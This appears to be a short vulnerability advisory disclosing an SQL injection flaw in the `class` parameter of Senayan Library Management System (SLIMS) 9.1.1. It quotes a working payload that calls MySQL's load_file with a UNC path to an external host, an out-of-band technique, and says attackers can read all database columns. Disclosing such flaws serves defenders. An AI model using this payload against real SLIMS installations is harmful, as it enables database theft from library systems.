Senayan Library Management System 9.1.1 SQL Injection
## Title: Senayan Library Management System v9.1.1 a.k.a SLIMS 9 SQLi
## Author: nu11secur1ty
## Date: 11.09.2022
## Vendor: https://slims.web.id/web/
## Software: https://github.com/slims/slims9_bulian/releases/download/v9.1.1/slims9_bulian-9.1.1.zip
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.1.1/SQLi

## Description:
The `class` parameter appears to be vulnerable to SQL injection attacks.
The payload '+(select
load_file('\\\\716gb1cfe9gkja4zdj45qxx9208vwlkcn0en6bv.slims.web.id\\nbq'))+'
was submitted in the class parameter.
This payload injects a SQL sub-query that calls MySQL's load_file
function with a UNC file path that references a URL on an external
domain.
The application interacted with that domain, indicating that the
injected SQL query was executed.
The attacker can take information from all database columns of this
system by using this vulnerability.

## STATUS: HIGH Vulnerability - CRITICAL
